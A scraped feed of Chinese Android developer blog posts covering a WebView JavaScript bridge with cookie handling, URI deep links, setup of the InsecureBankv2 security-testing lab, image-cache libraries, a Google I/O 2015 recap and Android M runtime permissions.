                view.setVisibility(View.GONE);
            }
        }
    }

    public void initView() {

    }
}

界面布局为:

<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical" ><include layout="@layout/common_back" /><com.zrp.test.CustomFrameLayout
        android:id="@+id/web_fram"
        android:layout_width="match_parent"
        android:layout_height="match_parent" ><WebView
            android:id="@+id/common_web"
            android:layout_width="match_parent"
            android:layout_height="match_parent" /><include layout="@layout/common_net_error" /><include layout="@layout/common_loading" /></com.zrp.test.CustomFrameLayout></LinearLayout>

测试分析

好了,这时候我们来添加一些数据进行测试:

用上面的方法为web页面中的param赋值,在asset文件夹中放入要进行测试的html文件,url赋值为: url = "file:///android_asset/html.html";
如上html.html文件源码为:

<!DOCTYPE html><html><head><title>测试容器调用</title></head><body><div class="main"><button onclick="test2()">调用容器方法</button></div><script type="text/javascript">
   function test(){
       alert("容器调用web方法");
   }
    function test2(){
        alert("test2() begin");
        zrp.command("{'type':1,'text':'hello boy'}");
        alert("test2() end");
    }</script></body></html>

java调用js:可通过在java代码中异步执行 webView.loadUrl("javascript:test()");来调用网页代码中的test()方法。

js调用java:在网页代码中可以看到button的点击事件添加了 zrp.command("{'type':1,'text':'hello boy'}");来回传一个json串给java页面,即js通过以上的方法调用了java的方法。

如果webView展示页面的时候需要给网页传递cookie,即各种登录信息,则需要在调用webView.loadUrl(url)之前一句调用如下方法: 注意!多个cookie值必须多次进行setCookie!

设置cookie方法一:

/**
 * CookieManager会将这个Cookie存入该应用程序/data/data/databases/目录下的webviewCookiesChromium.db数据库的cookies表中
 * 需要在当前用户退出登录的时候进行清除
 */
private void synCookies() {
    CookieSyncManager.createInstance(this);
    CookieManager cookieManager = CookieManager.getInstance();
    cookieManager.setAcceptCookie(true);
    cookieManager.removeSessionCookie();

    String[] split = App.cookie.split(";");
    for (int i = 0; i < split.length; i++) {
        cookieManager.setCookie(url, split[i]);
    }
    CookieSyncManager.getInstance().sync();
}

在当前用户退出登录的时候清除掉保存的cookie信息。

/**
 * 清除当前用户存储到cookies表中的所有数据
 */
private void removeCookie() {
    CookieSyncManager.createInstance(this);
    CookieManager cookieManager = CookieManager.getInstance();
    cookieManager.removeAllCookie();
    CookieSyncManager.getInstance().sync();
}

注意: 在调用设置Cookie之后不能再设置如下的这类属性,否则设置cookie无效。

webView.getSettings().setBuiltInZoomControls(true);  
webView.getSettings().setJavaScriptEnabled(true);  

但是!在如上设置cookie之后,每次设置cookie的时候都有延时,要是点击频率较快的时候,会出现cookie没有被设置进去的问题!

设置方法二:
经过一番查找,找到如下两个解决办法:

  1. http://blog.csdn.net/swust_chenpeng/article/details/37699841,这个是开了一个异步任务来进行等待,然后再次设置cookie,感觉没有从根源上解决这个问题啊。。。但是思路值得参考

  2. http://stackoverflow.com/questions/22637409/android-how-to-pass-cookie-to-load-url-with-webview,有用!设置之后立竿见影。

/**
 * CookieManager会将这个Cookie存入该应用程序/data/data/databases/目录下的webviewCookiesChromium.db数据库的cookies表中
 * 需要在当前用户退出登录的时候进行清除
 */
private void synCookies() {
    String[] split = App.cookie.split(";");
    for (int i = 0; i < split.length; i++) {
        CookieManager.getInstance().setCookie(url, split[i]);
    }
}

同时,在退出登录的时候清除cookie, CookieManager.getInstance().removeAllCookie();,清除当前用户存储到cookies表中的所有数据

Android 中通过 URI 实现 Web 页面调用本地 App

$
0
0

HTML 5 和本地 App 各有所长,现在公司的项目中也大量采用 HTML 5 做活动页面,这样本地代码和 HTML 5 的交互就是必须的。

说到 Android 端 Java 代码和 Web 端 HTML / JS 代码的交互,你可能最先想到的就是 WebView的这两个方法:

  • loadUrl(String url);

  • addJavascriptInterface(Object object, String name);

前者可以实现 native 代码直接执行 JS 代码,而后者可以将 native 代码实现的接口暴露给 Web 页面,这样 Web 页面可以像调用普通 JS function 一样调用这个 native 接口。

但其实还有一种更直接的方式:那就是 URL,准确的说是 URI。

因为 shouldOverrideUrlLoading(WebView view, String url)等回调方法本身就可以看作 Web 页面通过 URL 和本地应用进行数据交互,因此只要 Web 页面按照 URI 规范将数据传递过来,本地 App 就能在相关回调方法中调用相关 URI 的 API 解析数据,实现数据交互。

事实上,Android 很多内部组件正是通过 URI 传递数据的,特别是在调用系统服务和使用 ContentProvider时经常用到。例如:

1     
2
3
4
5
6
7
8
//调用地图应用显示地理位置     
Uri uri = Uri.parse("geo:38.899533,-77.036476");
Intent it = new Intent(Intent.Action_VIEW, uri);
startActivity(it);
//调用拨号程序
Uri uri = Uri.parse("tel:18616612345");
Intent it = new Intent(Intent.ACTION_DIAL, uri);
startActivity(it);

假设 Web 页面采用一个超链接将数据以 URI 形式传递过来:

1     
<a href="MY_SCHEME:\\MY_HOST:MY_PORT\MY_PATH\?arg0=0&arg1=1">Open App</a>     

则 Android 端数据解析代码如下:

1     
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
webView.setWebViewClient(new WebViewClient(){     
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Uri uri=Uri.parse(url);
if(uri.getScheme().equals(MY_SCHEME)
&& uri.getHost().equals(MY_HOST)
&& uri.getPort() == MY_PORT
&& uri.getPath().equals(MY_PATH)){
String arg0 = uri.getQueryParameter("arg0");
String arg1 = uri.getQueryParameter("arg1");
//TODO
} else {
view.loadUrl(url);
}
return true;
}
});

以上是在 WebView中加载 Web 页面的情况,如果要使外部浏览器中的 Web 页面也能够调用,则需要在 AndroidManifest.xml中为指定 Activity注册 intent-filter :

1     
2
3
4
5
6
7
8
9
10
11
12
13
<activity     
android:name=".activity.UriActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="MY_SCHEME"
android:host="MY_HOST"
android:port="MY_PORT"
android:path="MY_PATH"/>
</intent-filter>
</activity>

对应的在处理 URI 的 Activity中只需要调用 getIntent().getData()方法即可读取 URI 数据。

从零开始学Android应用安全测试(Part1)

$
0
0

在本系列文章中,利用InsecureBankv2这款含有漏洞的安卓应用,我们可以了解到有关安卓应用安全的种种概念。我们将从一个新手的角度看待每一个问题。所以,我建议新手朋友可以关注下本系列文章。

由于教程是从零开始,前面的东西不免会比较基础,老鸟请先飞过吧。

移动渗透平台搭建

在对安卓应用测试之前,我们需要搭建一个合适的移动渗透平台。

首先,我们需要下载Eclipse ADT bundle,并安装。这里我就不再过多重复造轮子的事情了。

这里面有俩个文件夹,一个叫 tools,另外一个叫做platform-tools。这俩是非常重要的,是需要加入环境变量里面的。以下命令可以用来添加路径到环境变量中

export PATH=/path/to/dir:$PATH.

将tools和platform-tools文件夹都添加到环境变量中,完成操作过后,你就可以随意的使用所有的命令了。然后检查是否工作,可以键入adb命令,你可以得到以下的输出结果。

为了保证应用能够在我们的计算机上运行,我们还需要一款趁手的模拟器。Eclipse Android Virtual Device就是一款安卓模拟器,如何进行创建虚拟设备,朋友们可以在网上搜搜。然而,对于本系列文章,我会使用另一款工具Genymotion 来创建虚拟设备。这里有许多原因,其一是处理速度比较快,其二使用Genymotion创建的虚拟设备默认是自动获取了root权限的。这也就意味着,你可以自由的安装应用,对于审计安卓应用也方便。

完成Genymotion的安装后,你需要注册一个账号(免费的)并基于你的需求创建不同模拟器。

好了,现在我们就将InsecureBankv2的源代码从github上克隆过来。

打开你创建的虚拟设备,这一步骤十分简单。

在刚才从github克隆的项目文件中,存在一个apk文件。你可以使用adb install InsecureBankv2.apk 命令来安装这个应用。

在上图中你可以看到success,这就表示这个apk文件已经成功安装了,同时你在模拟的设备中看到对应的应用图标。但是有时候你可能只是想编译这个文件而不是运行这个apk文件。这个时候你就需要打开Eclipse找到 File -> Switch Workspace,选择你创建的 Insecurebank文件夹,然后转到File -> Import并选择现有的Android代码放进工作区。

选择应用程序所在的文件夹,你可以看到Eclipse已经将应用程序放进了你的工作区。

这时候你就可以点击上端的play按钮,开始运行这个应用。在保证模拟器正常运行的情况下,选择运行安卓应用。

不出意外,这时候你就可以看到应用在模拟器中成功运行了。

同时启动后端的python服务,可以使用这个命令

python app.py –port 8888

在这个应用中填入ip地址以及端口。

现在你就可以使用默认凭证登录这个应用了。

dinesh/Dinesh@123$
jack/Jack@123$

请确保你安装了以下工具,在我们以后讨论的细节中,会用到的。

Drozer
Andbug
Introspy
dex2jar
apktool

另外,可以使用adb shell连接你的模拟器,然后看看你想要做些什么。

安卓命令合集

希望大家在空余时间多看看安卓命令[ http://developer.android.com/tools/projects/projects-cmdline.html]。

真心推荐大家多到这里了解下adb[ http://developer.android.com/tools/help/adb.html]尝试着玩转大多数命令。

下节预告

在下一篇文章中,我们将了解下InsecureBankv2项目中存在的各种漏洞,更详细的了解安卓应用的安全性。

InsecureBankv2项目地址: https://github.com/dineshshetty/Android-InsecureBankv2

Eclipse ADT bundle: https://developer.android.com/sdk/installing/index.html?pkg=adt

译者鸢尾注:此文原作者曾经完成了iOS安全专题。基于其完成度,鸢尾愿意跟着作者的步伐,一步一步的从零单排。

[参考来源infosec,翻译/鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]


Android 三大图片缓存原理、特性对比

$
0
0

这是我在 MDCC 上分享的内容(略微改动),也是源码解析第一期发布时介绍的源码解析后续会慢慢做的事。

 

从总体设计和原理上对几个图片缓存进行对比,没用到他们的朋友也可以了解他们在某些特性上的实现。

 

上篇关于选择开源项目的好处及如何选择开源项目可见: 开源项目使用及选型

 

一. 四大图片缓存基本信息


Universal ImageLoader 是很早开源的图片缓存,在早期被很多应用使用。

 

Picasso 是 Square 开源的项目,且他的主导者是 JakeWharton,所以广为人知。

 

Glide 是 Google 员工的开源项目,被一些 Google App 使用,在去年的 Google I/O 上被推荐,不过目前国内资料不多。

 

Fresco 是 Facebook 在今年上半年开源的图片缓存,主要特点包括:
(1) 两个内存缓存加上 Native 缓存构成了三级缓存

 

(2) 支持流式,可以类似网页上模糊渐进式显示图片

 

(3) 对多帧动画图片支持更好,如 Gif、WebP

 

鉴于 Fresco 还没发布正式的 1.0 版本,同时一直没太多时间熟悉 Fresco 源码,后面对比不包括 Fresco,以后有时间再加入对比。

 

二、基本概念

在正式对比前,先了解几个图片缓存通用的概念:
(1) RequestManager:请求生成和管理模块

 

(2) Engine:引擎部分,负责创建任务(获取数据),并调度执行

 

(3) GetDataInterface:数据获取接口,负责从各个数据源获取数据。
比如 MemoryCache 从内存缓存获取数据、DiskCache 从本地缓存获取数据,下载器从网络获取数据等。

 

(4) Displayer:资源(图片)显示器,用于显示或操作资源。
比如 ImageView,这几个图片缓存都不仅仅支持 ImageView,同时支持其他 View 以及虚拟的 Displayer 概念。

 

(5) Processor 资源(图片)处理器
负责处理资源,比如旋转、压缩、截取等。

 

以上概念的称呼在不同图片缓存中可能不同,比如 Displayer 在 ImageLoader 中叫做 ImageAware,在 Picasso 和 Glide 中叫做 Target。

 

三、共同优点

1. 使用简单
都可以通过一句代码可实现图片获取和显示。

 

2. 可配置度高,自适应程度高
图片缓存的下载器(重试机制)、解码器、显示器、处理器、内存缓存、本地缓存、线程池、缓存算法等大都可轻松配置。

 

自适应程度高,根据系统性能初始化缓存配置、系统信息变更后动态调整策略。
比如根据 CPU 核数确定最大并发数,根据可用内存确定内存缓存大小,网络状态变化时调整最大并发数等。

 

3. 多级缓存
都至少有两级缓存、提高图片加载速度。

 

4. 支持多种数据源
支持多种数据源,网络、本地、资源、Assets 等

 

5. 支持多种 Displayer
不仅仅支持 ImageView,同时支持其他 View 以及虚拟的 Displayer 概念。

 

其他小的共同点包括支持动画、支持 transform 处理、获取 EXIF 信息等。

 

四、ImageLoader 设计及优点

1. 总体设计及流程

上面是 ImageLoader 的总体设计图。整个库分为 ImageLoaderEngine,Cache 及 ImageDownloader,ImageDecoder,BitmapDisplayer,BitmapProcessor 五大模块,其中 Cache 分为 MemoryCache 和 DiskCache 两部分。

 

简单的讲就是 ImageLoader 收到加载及显示图片的任务,并将它交给 ImageLoaderEngine,ImageLoaderEngine 分发任务到具体线程池去执行,任务通过 Cache 及 ImageDownloader 获取图片,中间可能经过 BitmapProcessor 和 ImageDecoder 处理,最终转换为Bitmap 交给 BitmapDisplayer 在 ImageAware 中显示。

 

2. ImageLoader 优点

(1) 支持下载进度监听

 

(2) 可以在 View 滚动中暂停图片加载
通过 PauseOnScrollListener 接口可以在 View 滚动中暂停图片加载。

 

(3) 默认实现多种内存缓存算法这几个图片缓存都可以配置缓存算法,不过 ImageLoader 默认实现了较多缓存算法,如 Size 最大先删除、使用最少先删除、最近最少使用、先进先删除、时间最长先删除等。

 

(4) 支持本地缓存文件名规则定义

 

五、Picasso 设计及优点

1. 总体设计及流程

上面是 Picasso 的总体设计图。整个库分为 Dispatcher,RequestHandler 及 Downloader,PicassoDrawable 等模块。

 

Dispatcher 负责分发和处理 Action,包括提交、暂停、继续、取消、网络状态变化、重试等等。

 

简单的讲就是 Picasso 收到加载及显示图片的任务,创建 Request 并将它交给 Dispatcher,Dispatcher 分发任务到具体 RequestHandler,任务通过 MemoryCache 及 Handler(数据获取接口) 获取图片,图片获取成功后通过 PicassoDrawable 显示到 Target 中。

 

需要注意的是上面 Data 的 File system 部分,Picasso 没有自定义本地缓存的接口,默认使用 http 的本地缓存,API 9 以上使用 okhttp,以下使用 Urlconnection,所以如果需要自定义本地缓存就需要重定义 Downloader。

 

2. Picasso 优点

(1) 自带统计监控功能
支持图片缓存使用的监控,包括缓存命中率、已使用内存大小、节省的流量等。

 

(2) 支持优先级处理
每次任务调度前会选择优先级高的任务,比如 App 页面中 Banner 的优先级高于 Icon 时就很适用。

 

(3) 支持延迟到图片尺寸计算完成加载

 

(4) 支持飞行模式、并发线程数根据网络类型而变
手机切换到飞行模式或网络类型变换时会自动调整线程池最大并发数,比如 wifi 最大并发为 4, 4g 为 3,3g 为 2。
这里 Picasso 根据网络类型来决定最大并发数,而不是 CPU 核数。

 

(5) “无”本地缓存
无”本地缓存,不是说没有本地缓存,而是 Picasso 自己没有实现,交给了 Square 的另外一个网络库 okhttp 去实现,这样的好处是可以通过请求 Response Header 中的 Cache-Control 及 Expired 控制图片的过期时间。

 

六、Glide 设计及优点

1. 总体设计及流程

上面是 Glide 的总体设计图。整个库分为 RequestManager(请求管理器),Engine(数据获取引擎)、 Fetcher(数据获取器)、MemoryCache(内存缓存)、DiskLRUCache、Transformation(图片处理)、Encoder(本地缓存存储)、Registry(图片类型及解析器配置)、Target(目标) 等模块。

 

简单的讲就是 Glide 收到加载及显示资源的任务,创建 Request 并将它交给RequestManager,Request 启动 Engine 去数据源获取资源(通过 Fetcher ),获取到后 Transformation 处理后交给 Target。

 

Glide 依赖于 DiskLRUCache、GifDecoder 等开源库去完成本地缓存和 Gif 图片解码工作。

 

2. Glide 优点

(1) 图片缓存->媒体缓存
Glide 不仅是一个图片缓存,它支持 Gif、WebP、缩略图。甚至是 Video,所以更该当做一个媒体缓存。

 

(2) 支持优先级处理

 

(3) 与 Activity/Fragment 生命周期一致,支持 trimMemory
Glide 对每个 context 都保持一个 RequestManager,通过 FragmentTransaction 保持与 Activity/Fragment 生命周期一致,并且有对应的 trimMemory 接口实现可供调用。

 

(4) 支持 okhttp、Volley
Glide 默认通过 UrlConnection 获取数据,可以配合 okhttp 或是 Volley 使用。实际 ImageLoader、Picasso 也都支持 okhttp、Volley。

 

(5) 内存友好
① Glide 的内存缓存有个 active 的设计
从内存缓存中取数据时,不像一般的实现用 get,而是用 remove,再将这个缓存数据放到一个 value 为软引用的 activeResources map 中,并计数引用数,在图片加载完成后进行判断,如果引用计数为空则回收掉。

 

② 内存缓存更小图片
Glide 以 url、view_width、view_height、屏幕的分辨率等做为联合 key,将处理后的图片缓存在内存缓存中,而不是原始图片以节省大小

 

③ 与 Activity/Fragment 生命周期一致,支持 trimMemory

 

④ 图片默认使用默认 RGB_565 而不是 ARGB_888
虽然清晰度差些,但图片更小,也可配置到 ARGB_888。

 

其他:Glide 可以通过 signature 或不使用本地缓存支持 url 过期

 

七、汇总


三者总体上来说,ImageLoader 的功能以及代理容易理解长度都一般。

 

Picasso 代码虽然只在一个包下,没有严格的包区分,但代码简单、逻辑清晰,一两个小时就能叫深入的了解完。

 

Glide 功能强大,但代码量大、流转复杂。在较深掌握的情况下才推荐使用,免得出了问题难以下手解决。

关于Google IO 2015,你必须知道的9件事

$
0
0

1 Google 正式发布Android M, 提升用户体验

今天的大会开始,Google 公司发布了 Android M。

新的Android系统有了很大用户体验上的提升,主要体现在 App 权限管理,网页体验,App关联,Android Pay 支付功能,指纹识别以及续航能力上的改进。

Android M 预览版本将于今天发布,首批支持设备包含Nexus 5、6、9 等。

2 Android Pay 将在今年正式上线

Google 今天发布了Android Pay。Android Pay是一个开放平台,支持Android 4.4版本或更新的设备,Google会在最新的Android M里自建官方的指纹识别支持。

据悉,Google 的支付服务将在未来几个月内推出,将兼容Android的早期版本手机。另外,Android Pay并不需要一个单独的应用程序来运行。用户可以将自己的信用卡、借记卡和会员卡绑定到手机上,用现有密码解锁设备,并在美国超过70万家实体店进行线下支付。目前,已经参与Android Pay的零售商包括麦当劳、Macys、百思买、Walgreens和 有机食品Whole Foods超市。

3 Google 发布 Brillo,一个只保留基本内核功能的用于物联的 Android系统,以保证消耗最小

Google以Android为核心,推出了Brillo系统。Brillo 是一个物联网平台。Brillo出自Android,所以在设备配对和设置上将会非常方便,也就是说任何Android设备都可以轻松地与Brillo智能设备对接,并实现控制。

除了Brillo,Google还发布了Weave跨平台协议。这个协议可以连接云端、手机和Brillo支持的设备,比如被 Google 收购的 Nest 的恒温器。

Brillo将在今年第三季度被投入使用。届时,物联网设备能够与手机和云通讯,且所有设备都可以使用统一语言。

4 已经有 4000个 Android Wear 应用被开发,Uber 成为新成员

Google 公司今天宣布目前,已经有4000个 app 可以在 Android Wear 这个平台上,这其中包括Uber,Foursquare,以及 Citymapper 等。

Uber对于Android可穿戴设备来说是非常重要的。用户只用对着Android可穿戴设备说:OK,Google,给我叫一辆车。同时,uber司机就可以得到指令到达用户所在地点来接客户。

基本这些Android Wear的新功能你都可以在LG的新手机Urbane上看到了,但是当演讲者宣布Android Wear可以支持使用者发送表情符号以及手势控制时,现场还是响起了掌声。

5 Google Now 集合上下文联系、搜索、语音识别,变得越来越贴心

Google Now通过对用户行为的多年学习,已经变得非常智能。Google Now将可以回答更多的问题,也更加准确。它新加入了 “now on tap”功能更是让人觉得贴心。在特定应用里 ,长按home键,开启 Google Now,它会在当前界面提供给你你最需要的信息。例如,当你的朋友在微信里问你要不要看《超能陆战队》,Google Now 就会以此为依据,向你提供关于这部电影的各种有用信息,例如它的评分等等。

另外,大会上,演讲者额外展示了一些其他实际的应用场景。例如,Google Now可以为用户展示用户开车时前方最近的加油站位置;可以在播放歌曲时自主识别歌曲名称和演唱者;可以在发信息过程中提醒你未完成的事情(例如,你的家人发你一条信息:别忘了买苹果,Google Now 不但会提醒你购买苹果还会给你提示离你最近的售卖苹果的地方以及去的路线。)

6 Google Photos 将支持无限存储以及自动归类

Google 公司发布了新的照片管理应用 Google Photos。这款应用让用户有无限免费的云端图片和视频存储空间,可以自动地同步所有设备上的照片,可以在手机等设备上用手势进行管理,例如双指缩放可以切换时间线,查看照片,这基本是让Google Photos变得更有了苹果的气质。

但是,它仍然有一些值得说一说的事情:Google Photos结合了Google的识别技术,能自动识别照片中的人或不同事件,可以自动为用户添加便签,而无需手动。也就是说在管理图片时,它可以自动识别你的一位朋友的脸,从而把所有含有他的照片归类在一起。当然,当你搜索在crater lake 滑雪的时候,所有跟滑雪有关的照片也会被聚集在一起。按照演讲人所说,这款应用今天晚些时候就会上线,Pingwest品玩也会发布相关的测评,让你第一时间了解这款应用。

7 Google Map 将支持离线导航

Google公司今天在他的地图功能上再次出大招。为了照顾网络资源较为贫瘠的发展中国家的需求, Google Maps 将支持离线导航。同时,地图可支持用户离线查看景点以及餐厅的营业时间以及评价。

8 硬纸壳做的3D VR眼镜 Cardboard 变得更大,并可适配于苹果手机

在今天的大会上,Google 公司宣布更新 VR (virtual reality)产品Cardboard。对,就是在去年I/O大会上Google 公司送给参会开发者的那个硬纸壳叠成的虚拟可穿戴设备。这款产品较于先前的版本尺寸更大,可适用于适配6寸屏幕的手机。同时,它除了支持Android手机,也支持苹果手机了哦。

我在活动展示区适用下来发现相较于一般的 VR 产品,它所观看视频的清晰度更高,颜色更鲜艳,并且没有太多的眩晕感。但是,安装下来尽管简单,却不算非常稳固,手机非常容易从侧面漏出来掉在地上。

9 Google和 GoPro合作开发全景拍摄机器 Jump

为了给Cardboard眼镜提供更多的内容,Google推出了360度全景拍摄工具Jump。并且邀请GoPro加入了这个项目,通过Jump拍摄工具及16个GoPro的运动相机,用户可以360度进行拍摄。拍摄的视频经过Jump校正后,会生成非常逼真的3D视频。展厅工作人员介绍,这款产品将在今年夏天正式推出,用户可以将自己拍摄的3D视频上传Youtube,配合 Cardboard 其他人就能看到VR视频。

 

————-

更多关于2015年 Google I/O 的文章请查阅汇总专题: http://www.pingwest.com/hot-tags/google-io/ ,或查看发布会直播回顾: http://live.pingwest.com/c/google_io 

相关阅读:

     【PW晨报】Android M 正式亮相,Moto Maker 登陆中国

     想要体验最先进的人工智能,就在 Google Now

     一场 I/O 大会,让我看懂了 Google 对第三世界的爱

     作为 Android 史上最人性化的升级,Android M 的新功能全在这

Android M 新的运行时权限开发者需要知道的一切

$
0
0

英文: http://inthecheesefactory.com/blog/things-you-need-to-know-about-android-m-permission-developer-edition/en
译文: http://jijiaxin89.com/2015/08/30/Android-s-Runtime-Permission/

android M 的名字官方刚发布不久,最终正式版即将来临!
android在不断发展,最近的更新 M 非常不同,一些主要的变化例如运行时权限将有颠覆性影响。惊讶的是android社区鲜有谈论这事儿,尽管这事很重要或许在不远的将来会引发很严重的问题。
这是今天我写这篇博客的原因。这里有一切关于android运行时权限你需要知道的,包括如何在代码中实现。现在亡羊补牢还不晚。

新运行时权限

android的权限系统一直是首要的安全概念,因为这些权限只在安装的时候被询问一次。一旦安装了,app可以在用户毫不知晓的情况下访问权限内的所有东西。
难怪一些坏蛋利用这个缺陷恶意收集用户数据用来做坏事了!
android小组也知道这事儿。7年了!权限系统终于被重新设计了。在android6.0棉花糖,app将不会在安装的时候授予权限。取而代之的是,app不得不在运行时一个一个询问用户授予权限。

图片描述

注意权限询问对话框不会自己弹出来。开发者不得不自己调用。如果开发者要调用的一些函数需要某权限而用户又拒绝授权的话,函数将抛出异常直接导致程序崩溃。

图片描述

另外,用户也可以随时在设置里取消已经授权的权限。

图片描述

你或许已经感觉到背后生出一阵寒意。。。如果你是个android开发者,意味着要完全改变你的程序逻辑。你不能像以前那样直接调用方法了,你不得不为每个需要的地方检察权限,否则app就崩溃了!
是的。我不能哄你说这是简单的事儿。尽管这对用户来说是好事,但是对开发者来说就是噩梦。我们不得不修改编码不然不论短期还是长远来看都是潜在的问题。
这个新的运行时权限仅当我们设置targetSdkVersion to 23(这意味着你已经在23上测试通过了)才起作用,当然还要是M系统的手机。app在6.0之前的设备依然使用旧的权限系统。

已经发布了的app会发生什么

新运行时权限可能已经让你开始恐慌了。“hey,伙计!我三年前发布的app可咋整呢。如果他被装到android 6.0上,我的app会崩溃吗?!?”
莫慌张,放轻松。android小队又不傻,肯定考虑到了这情况。如果app的targetSdkVersion 低于 23,那将被认为app没有用23新权限测试过,那将被继续使用旧有规则:用户在安装的时候不得不接受所有权限,安装后app就有了那些权限咯!

图片描述

然后app像以前一样奔跑!注意,此时用户依然可以取消已经同意的授权!用户取消授权时,android 6.0系统会警告,但这不妨碍用户取消授权。

图片描述

问题又来了,这时候你的app崩溃吗?
善意的主把这事也告诉了android小组,当我们在targetSdkVersion 低于23的app调用一个需要权限的函数时,这个权限如果被用户取消授权了的话,不抛出异常。但是他将啥都不干,结果导致函数返回值是null或者0.

图片描述

别高兴的太早。尽管app不会调用这个函数时崩溃,返回值null或者0可能接下来依然导致崩溃。
好消息(至少目前看来)是这类取消权限的情况比较少,我相信很少用户这么搞。如果他们这么办了,后果自负咯。
但从长远看来,我相信还是会有大量用户会关闭一些权限。我们app不能再新设备完美运行这是不可接受的。
怎样让他完美运行呢,你最好修改代码支持最新的权限系统,而且我建议你立刻着手搞起!
代码没有成功改为支持最新运行时权限的app,不要设置targetSdkVersion 23 发布,否则你就有麻烦了。只有当你测试过了,再改为targetSdkVersion 23 。
警告:现在你在android studio新建项目,targetSdkVersion 会自动设置为 23。如果你还没支持新运行时权限,我建议你首先把targetSdkVersion 降级到22

PROTECTION_NORMAL类权限

当用户安装或更新应用时,系统将授予应用所请求的属于 PROTECTION_NORMAL 的所有权限(安装时授权的一类基本权限)。这类权限包括:

android.permission.ACCESS LOCATIONEXTRA_COMMANDS
android.permission.ACCESS NETWORKSTATE
android.permission.ACCESS NOTIFICATIONPOLICY
android.permission.ACCESS WIFISTATE
android.permission.ACCESS WIMAXSTATE
android.permission.BLUETOOTH
android.permission.BLUETOOTH_ADMIN
android.permission.BROADCAST_STICKY
android.permission.CHANGE NETWORKSTATE
android.permission.CHANGE WIFIMULTICAST_STATE
android.permission.CHANGE WIFISTATE
android.permission.CHANGE WIMAXSTATE
android.permission.DISABLE_KEYGUARD
android.permission.EXPAND STATUSBAR
android.permission.FLASHLIGHT
android.permission.GET_ACCOUNTS
android.permission.GET PACKAGESIZE
android.permission.INTERNET
android.permission.KILL BACKGROUNDPROCESSES
android.permission.MODIFY AUDIOSETTINGS
android.permission.NFC
android.permission.READ SYNCSETTINGS
android.permission.READ SYNCSTATS
android.permission.RECEIVE BOOTCOMPLETED
android.permission.REORDER_TASKS
android.permission.REQUEST INSTALLPACKAGES
android.permission.SET TIMEZONE
android.permission.SET_WALLPAPER
android.permission.SET WALLPAPERHINTS
android.permission.SUBSCRIBED FEEDSREAD
android.permission.TRANSMIT_IR
android.permission.USE_FINGERPRINT
android.permission.VIBRATE
android.permission.WAKE_LOCK
android.permission.WRITE SYNCSETTINGS
com.android.alarm.permission.SET_ALARM
com.android.launcher.permission.INSTALL_SHORTCUT
com.android.launcher.permission.UNINSTALL_SHORTCUT

只需要在AndroidManifest.xml中简单声明这些权限就好,安装时就授权。不需要每次使用时都检查权限,而且用户不能取消以上授权。

让你的app支持新运行时权限

是时候让我们的app支持新权限模型了,从设置compileSdkVersion and targetSdkVersion 为 23开始吧.

android {
    compileSdkVersion 23
    ...
    defaultConfig {
        ...
        targetSdkVersion 23
        ...
    }

例子,我想用一下方法添加联系人。

private static final String TAG = "Contacts";
private void insertDummyContact() {
    // Two operations are needed to insert a new contact.
    ArrayList<ContentProviderOperation> operations = new ArrayList<ContentProviderOperation>(2);
    // First, set up a new raw contact.
    ContentProviderOperation.Builder op =
            ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI)
                    .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, null)
                    .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, null);
    operations.add(op.build());
    // Next, set the name for the contact.
    op = ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
            .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
            .withValue(ContactsContract.Data.MIMETYPE,
                    ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
            .withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME,"__DUMMY CONTACT from runtime permissions sample");
    operations.add(op.build());
    // Apply the operations.
    ContentResolver resolver = getContentResolver();
    try {
        resolver.applyBatch(ContactsContract.AUTHORITY, operations);
    } catch (RemoteException e) {
        Log.d(TAG, "Could not add a new contact: " + e.getMessage());
    } catch (OperationApplicationException e) {
        Log.d(TAG, "Could not add a new contact: " + e.getMessage());
    }
}

上面代码需要WRITE_CONTACTS权限。如果不询问授权,app就崩了。
下一步像以前一样在AndroidManifest.xml添加声明权限。

<uses-permission android:name="android.permission.WRITE_CONTACTS"/>

下一步,不得不再写个方法检查有没有权限。如果没有弹个对话框询问用户授权。然后你才可以下一步创建联系人。

权限被分组了,如下表:

图片描述

同一组的任何一个权限被授权了,其他权限也自动被授权。例如,一旦WRITE CONTACTS被授权了,app也有READCONTACTS和GET_ACCOUNTS了。
源码中被用来检查和请求权限的方法分别是Activity的checkSelfPermission和requestPermissions。这些方法api23引入。

final private int REQUEST_CODE_ASK_PERMISSIONS = 123;
private void insertDummyContactWrapper() {
    int hasWriteContactsPermission = checkSelfPermission(Manifest.permission.WRITE_CONTACTS);
    if (hasWriteContactsPermission != PackageManager.PERMISSION_GRANTED) {
        requestPermissions(new String[] {Manifest.permission.WRITE_CONTACTS},
                REQUEST_CODE_ASK_PERMISSIONS);
        return;
    }
    insertDummyContact();
}

如果已有权限,insertDummyContact()会执行。否则,requestPermissions被执行来弹出请求授权对话框,如下:

图片描述

不论用户同意还是拒绝,activity的onRequestPermissionsResult会被回调来通知结果(通过第三个参数),grantResults,如下:

@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
    switch (requestCode) {
        case REQUEST_CODE_ASK_PERMISSIONS:
            if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                // Permission Granted
                insertDummyContact();
            } else {
                // Permission Denied
                Toast.makeText(MainActivity.this, "WRITE_CONTACTS Denied", Toast.LENGTH_SHORT)
                        .show();
            }
            break;
        default:
            super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    }
}

这就是新权限模型工作过程。代码真复杂但是只能去习惯它。。。为了让app很好兼容新权限模型,你不得不用以上类似方法处理所有需要的情况。
如果你想捶墙,现在是时候了。。。

处理 “不再提醒”

如果用户拒绝某授权。下一次弹框,用户会有一个“不再提醒”的选项的来防止app以后继续请求授权。

图片描述

